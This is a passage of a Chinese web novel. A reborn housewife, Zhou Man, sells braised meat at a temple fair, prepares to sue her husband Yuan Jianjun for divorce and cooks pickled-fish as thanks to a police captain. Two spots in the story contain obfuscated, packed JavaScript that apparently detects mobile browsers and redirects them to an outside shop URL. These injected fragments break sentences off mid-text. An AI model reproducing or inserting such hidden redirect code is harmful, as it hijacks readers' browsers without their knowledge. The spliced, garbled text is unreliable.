元斌心里恼火,不断叫嚣着:怎么办?还能怎么办?凉拌!他叮嘱过的话弟弟妹妹是一句都不听,全当耳旁风。一个莽撞一个没脑子,背地里悄悄行事,这下终于闯出弥天大祸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081024|149453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他憋了一肚子的火气,再看看妹妹只晓得哭,顿时觉得无比烦人,没好气地说道:“等爸过来看看能不能保释元栋吧。” “可是刚才那个公安说,妈作为受害者要求依法处理。爸保释不出来咋办?” “……那就去妈面前跪着,求妈原谅。” 元斌眯起眼睛,妈不一定原谅,但舆论会逼迫她妥协! 那厢,接到公安局电话,元建军气得脸色铁青。刚踏入警局,小女儿就扑上来,哭得上气不接下气。 “元斌,究竟怎么回事?元栋怎么就被拘留十五天了?”他左看右看,就是瞧不见周满的身影,一团怒火涌上心头:“你妈呢?她还没来吗?” 元斌垂着眸,语气冷淡:“元栋带人砸了妈的摊子,妈作为受害者,请求警方拘留元栋,让他在局子里接受改造。” 元建军第一反应是不敢置信,语气轻蔑:“就凭她?她是会炒点菜,但让她出门吆喝做生意,估计能吓得屁滚尿流。” “是真的,我和二哥都亲眼瞧见了。妈就在庙会摆摊卖卤肉,已经摆两天摊了。”元珠心虚地不敢抬头。 元建军如遭雷击,嘴里一个劲念叨不可能。周满一直以来都是温室里的花朵,还是人老珠黄那朵,是攀附他生存的菟丝花,长久以来都满足元建军那颗大男子主心的心。 因此哪怕周满闹离婚,大年三十离开家,自己都不以为然。因为他坚信,过不了多久周满就会回来求他。 可当有一天角色对换,那个即将被抛弃的人变成自己。 无论如何都叫元建军接受无能。 “我现在去找你妈。” 元斌拉住他胳膊,“妈这会儿肯定收摊回家了,您明天再去。当务之急,是要把二弟保释出来。” 元建军混沌的大脑终于恢复一丝理智,前去办理保释手续。 “抱歉,这件案子已经上报给局长了,由于涉及到学生法律意识缺失而导致的犯罪问题,局里准备以此为典型开展普法教育。” 元斌忍不住倒吸一口凉气。 他弟不仅要坐牢,还要上普法专栏头条啊! 元珠带着哭腔道:“爸,你快去求求妈吧……” 求这个字眼深深刺痛元建军的自尊心,指甲深深掐进掌心里,咬着牙齿恶狠狠道:“不行。” 可其他办法,他又想不出来,着急得来回踱步。这些小事,以往都是周满解决,从来不用他操心。 一下子要元建军想办法,他彻底慌了神。 元斌冷眼瞧着这一切,心头开始有所怀疑。 那个无所不能的父亲在元斌心头,首次出现裂缝。 曾经无论遇到什么事情,爸都是家里最镇定,最睿智的,才会一次次衬出妈的愚笨。 “爸,你去找秦阿姨,让她帮忙找律师。” 元建军眼前一亮,为了重振并固定在儿女心中的形象,他毫不羞耻地挺直胸脯说道:“方才我就想到了,只是不太好意思说,免得你们觉得爸太冷血。” 果不其然,小女儿投来钦佩的目光。 至于大儿子低着头,瞧不清情绪,但应该也是对他这个睿智父亲的爱戴吧。 - 结婚二十年,头一次夫妻俩达成默契。 周满跟着黄玲来到妇联,同样认真咨询道:“如果请律师帮忙打离婚官司需要花多少钱?” 该是她的财产,一分都不能少。 妇联成立几十年,黄玲见过太多被封建制度压迫的女性。可当妇联伸出手帮助她们反抗时,却遭到她们来自的背刺。 在许多女性骨子里,女人就该天生伺候老爷们,被打是天经地义,谁家不是这样过来的;重男轻女,反正女儿迟早嫁出去,儿子才能传宗接代。 因此在救助女性的过程中,往往最大的障碍来自女性本身。 这也是妇联工作一直开展不顺利的根本原因。 黄玲最佩服那种有勇有谋、知道自己想要什么的女性,目光中充满激赏,“妇联能帮忙联系到免费律师,但你要想清楚了,一旦打离婚官司彻底不能回头。就算你们夫妻和好,打官司等于埋下一个巨大隐患,日后可能会爆发更大的矛盾。” “我要离婚,我要跟元建军打官司要一半财产。”周满态度坚定。 “只是,89年《婚姻法》中关于感情破裂的条件,我与元建军并不满足,甚至在外人看来,夫妻恩爱,他是个完美且温柔的丈夫。” 上次她朝妇联干事借走几本法律书,空闲时间仔细钻研,发现情况对自己不利。 黄玲秀眉慢慢皱成一团,身为女人,她能理解并支持周满,但法庭,尤其是男法官不一定会。 甚至会判决周满藐视法庭与神圣婚姻,处于相关警告。 “我先帮你联系律师。” 18.有模仿的卤肉摊出现了 周满在妇联耽搁的时间有点长,离开时,外面已经亮起一盏盏路灯。她婉拒黄玲开车送回去的好意,埋头推着摊车向前疾走。 进入杏花胡同后,远远瞧见一大一小站在门边来回张望,心中不由流过一阵暖流。 “出什么事了?怎么今儿回来得晚?”赵大娘见她平安归来,总算松了口气,帮忙把摊车推进院子里,卸掉炉子铁锅。 蜂窝煤早就熄灭了,炉子是冷的,锅里面倒是跟昨天一样,全部卖完了卤味。 一个女人独自在外做生意不容易。 世道虽然比以前好,可还是有些蛮横不讲理的,欺软怕硬,专挑周满这种长相温婉、一瞧就软和的人欺负。 周满解释道:“是遇到点麻烦,好在公安同志帮忙摆平了。后来顺便去趟妇联咨询离婚官司的事,来回一耽搁,这才比平常晚点。” 赵大娘唬了一跳,“为啥闹到打官司的地步了?” 在她有限的认知里,法院相当于古代上公堂,法官等于县太爷,除非犯大案才会被抓去那里审判。 “我跟元建军结婚多年,积攒不少夫妻共同财产,这笔钱元建军不一定会同意给我,所以得让法官去判决。” 周满现在对《婚姻法》研究得头头是道,张口就来:“国家法律已经明确规定了,夫妻在婚姻关系存续期间所得的财产,归夫妻共同所有。 家里那套房子是钢铁厂分配的,没有产权,我不要。但这么多年来的存款,必须有我一份。” 她记得很清楚,明年钢铁厂为了筹钱引进高端设备,会将房子产权集体打七折半卖半送给工人。 元建军错眼不眨地掏出好几千块,而且还能继续供养两个儿子上大一的学费与杂费,家里没有捉襟见肘,足以证明这些年来偷偷攒下不少存款。 周满估摸,怎么着也能分走一两千块。 “可这些钱不是元建军一个人辛苦赚的吗?法官会同意分给你?” “现在出去当保姆,一个月至少也得二十几块钱呢。家庭主妇同样付出了劳动,只不过工作地点在家庭,且劳动价值无法估算。” 赵大娘若有所思。 趁着说话功夫,周满从橱柜里掏出三枚鸡蛋,打进碗里,又拿了把小葱切得细细的,一半放进碗里,一半留着备用。 蛋液与葱花搅拌混合,汇入碎油渣,锅里放入一勺猪油,煎至两面金黄后出锅。 “好香好香!”陈圆圆趴在灶台边,口水吧哒吧哒往下掉。 周满先切了一块放进碗子,让她坐在灶台旁边,一边烤火一边吃。 鸡蛋的软嫩与葱花的清香,混合着油渣的油脂,口□□香。小家伙黑溜溜的眼珠子,比灶膛里的火把还要灼亮。 “我刚才还炸了点油果子,切了碟泡菜萝卜。”赵大娘抱着面屉子过来,掀开纱布,酸萝卜的味道扑面而来。 周满伸手捡了块扔进嘴里,酸而不涩,萝卜脆而又嚼劲,“这是您自己腌的?今年多腌点拿出去卖,肯定赚钱。” “那敢情好,这门腌酸菜的功夫还是跟我老子娘想办法学来的。”赵大娘得到这句保证,嘴一咧,笑得见牙不见眼。 “当年我孕吐,一个月暴瘦十斤,靠两坛酸菜才熬过去。再过两散月,腌上春天的新鲜竹笋,那滋味才叫一个美。” 周满闻言眸光一亮,正愁着如何做人情,好好答谢孟大队长呢。 后来她仔细琢磨,今日在公安局之所以能如此顺利,全靠对方算无遗策地及时安排人作证。 孟大队长为人正直,礼物十有八九不会收。 听说他长嫂孕苦,也是吃了就吐。不如送点开胃的小菜,投桃报李,也不会招惹是非,连累他违反干部原则。 正好马春花当初送了两条鱼过来,还剩下一条在水缸里养着。 周满心里有了章程,次日起床的时候,照例把剩下卤味上锅炖煮。紧接着马不停蹄地提刀杀鱼,取走鱼鳃和肠胃、苦胆,用刀背刮掉身上的鳞片。 厉害点的大厨能够提前去除鱼骨,周满正儿八经练过几年。 首先将鱼置于砧板之上,自鱼尾部落刀,沿鱼骨朝鱼头部位推进,直至临近鱼头处切下,一抽,轻而易举便将一条完整鱼骨剥离而出,放置一旁,继而顺势将鱼肚子上的大刺削下。 这手艺讲究快狠准,一气呵成,中间差一步都不成。某海岛国独创的“骨泳料理”技术,都是咱老祖宗玩剩下的。 接下来片鱼就简单多了,菜刀倾斜四十五度,切成粗细均匀的薄片,裹上淀粉、蛋液、食用油、生姜、黄酒、胡椒粉等材料一起搅拌腌制。 如果说片鱼考验一个厨子的基本刀功,接下来的烹饪手法,才赋予一道菜灵魂。 鱼骨头不浪费,熬煮出一锅奶白色的高汤。盛出一半来煮豆芽和白菜,煮熟后捞出来放在备用。 周满昨夜已经提前跟赵大娘说好了,从她的坛子里取出一碗新鲜的泡菜来,用清水洗干净,如此能有效去除泡菜里的咸味。切碎后,待葱姜蒜爆香后进行大火爆炒,充分激发出酸菜的酸香味,其次放入泡过水的辣椒段、花椒煸炒半分钟,倒入半瓢水。 滋啦! 香味霎时间溢满厨房,沿着窗台飘出去四面八方。 有人受不了这股霸道的香味,披件衣服跑出来到院子中央,破口大骂:“他娘的大清早弄什么好吃的,还让不让人睡觉了?” 更多则是此起彼伏揍孩子的嚎哭声。 在这热闹的氛围中,水开了,放入鱼片炖煮五分钟,待漂浮起来后,放入铁盆里。面上撒上葱花蒜末辣椒面和一小把花椒,倒入滚烫热油。 咕噜!是赵大娘与孙女拼命吞咽口水的声音。 祖孙俩脸没来得及洗,头发乱糟糟,陈圆圆小朋友更是连棉衣扣子都扣反了。 周满忍俊不禁,慢条斯理地放下袖子,“我顺手焖了锅米饭,快洗漱吃早饭吧。” 不出意外,祖孙俩再次吃撑了。 赵大娘摸着圆滚滚的肚子,脸颊燥热,“又蹭了你一顿饭,不如这样,以后我俩交伙食费,每天跟着你一块吃。家务活不用你操心,衣服也一并全部包给我们娘俩干。” 吃过周满做的饭,才发觉大半辈子白活了。要是让陈家恢复到从前囫囵就活的日子,比死了都难受。 陈圆圆思考一会儿,跑回房间抱出来一个原木方盒,走路时里面的钢镚发出叮叮当当的声响。 “我和奶这两天的餐费。”她毫不犹豫地把存钱罐塞进周满怀里,头上两个小揪揪晃来晃去,软萌且可爱。 让周满那颗因儿女冷硬起来的心不禁变得柔软,一旁的赵大娘更是举着袖子抹眼儿。 因着是最后一天庙会,街上比前两日热闹,摊贩也更多。 周满临时拐道先去了趟公安局,孟大队长不在,于是把酸菜鱼给门卫老大爷,让其帮忙转交。 等赶去再去占位置时,只能挨到街尾了。 在城管处交好押金,打两份新鲜的卤味送给昨儿个帮忙的摊贩,肉多菜少。两人匆匆扫一眼,笑得合不拢嘴。 卖首饰的姑娘甚至拉过周满胳膊,指着街角,忿忿不平地说道:“那边新开了一家卤味,价钱比你要便宜五毛,肯定是前两天眼红你生意红火,故意抢你生意呢。” 做生意就是这样,很容易有人跟风模仿,这点周满早已做好心理准备,因此不骄不躁地说道:“卤味谁都可以卖,各凭本事。” 她眯起眼睛望去,摊主模仿她戴头套口罩,连模式照搬照抄。加上价格便宜,此时摊子外面围了不少人。 果然这一日的生意受到很大影响,眼瞧日头过去一半,还没开张几单。 旁边摊主纷纷劝道:“不如你也降价?” 要是价格合适,他们也舍得购买一份回家尝尝鲜。 还有人特意跑到街角那边去瞧,发现味道色泽皆不如周满。为了节约成本,那摊贩甚至停了火,卤肉捞出来最上面那层都结了层油脂。 周满笑着拒绝:“周记卤味真材实料,选用的都是肥肉相间的猪肉,口口香而软糯。要是降价,成本赚不回来,我宁肯带回去给家里人补营养。” 摊贩们纷纷赞同。 这倒也是,如果亏本做买卖,真不如便宜自家人。 左右没有生意上门,周满干脆拿起千层底纳鞋底,打发时间。 这一幕落入元建军眼中,妻子的落魄,让他心里升起一股微妙的快感。 本来他今日约了秦芳出来喝咖啡,路过庙会,鬼使神差地跑过来一探究竟,结果与自己预想的一般无二。 看吧,周满离开自己根本活不下去。 败家老娘们,这几天指不定白白糟蹋许多猪肉。就凭她也想做生意赚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周满唇角微微扬起:“没费什么功夫,我以前在家里也是一样起早给孩子们做早饭,习惯了。卤肉还是老样子?” “对。”孟越点点头。 本来他想要全部买下来,帮她多赚点钱。可触及到对面那双澄澈干净的杏眸,还是按耐住打算。 这个时候的她,正是重新建起自尊心的关键时刻,最不需要别人的同情与施舍。 相处时间总是极为短暂,周满打包好卤味递过来,孟越给了钱,便提着转身离开。 就跟其他熟客似的。 还不急。 他如此想着。 - 初四,是离婚的好日子。 周满难得一觉睡到大天亮,醒来的时候,脑袋还有些懵。 做了一晚上的噩梦,她梦到上辈子一眼望不到头的家务活,最后是婆婆离世前分配家产,特意把她支出去。 那天的风,跟离开元家一样冰冷。 “咚咚咚!” 赵大娘在外边敲响门,“马妹子来看你了。” 院子里果然一下子变得热闹起来。 周满简单梳洗,换上身干净的棉袄,打开房门走出去。 “你别告诉我,今天就穿这个去离婚?”马春花满脸嫌弃,举了举手上的购物袋,“幸好我早就准备,保准亮瞎元建军的狗眼。” 那是件卡其色西装领阔版大衣,毛料柔软舒服,应该添加了羊绒毛和蚕丝。内里搭配件黑色套领连体毛衣,黑色皮靴。 这一身无论是放在九零年,还是后世,都十分经典显气质。 “这不好吧,我又不是去结婚,干嘛要打扮给他看?”周满两辈子都没好好在穿衣搭配上用过心,前世觉得没必要,如今是不习惯。 马春花恨铁不成钢,硬拉着她进了屋子,“元建军压了你一辈子,难道连离婚,都要让他瞧不起?今天,我保证让你大放光彩,狠狠把姓秦的给比下去。” 周满哭笑不得。 被摁在铜镜前面,望着镜子里倒映出来的那张陌生又熟悉的脸,心里不是没有被马春花说动的。 没嫁人前,她也是个爱打扮爱臭美的小姑娘!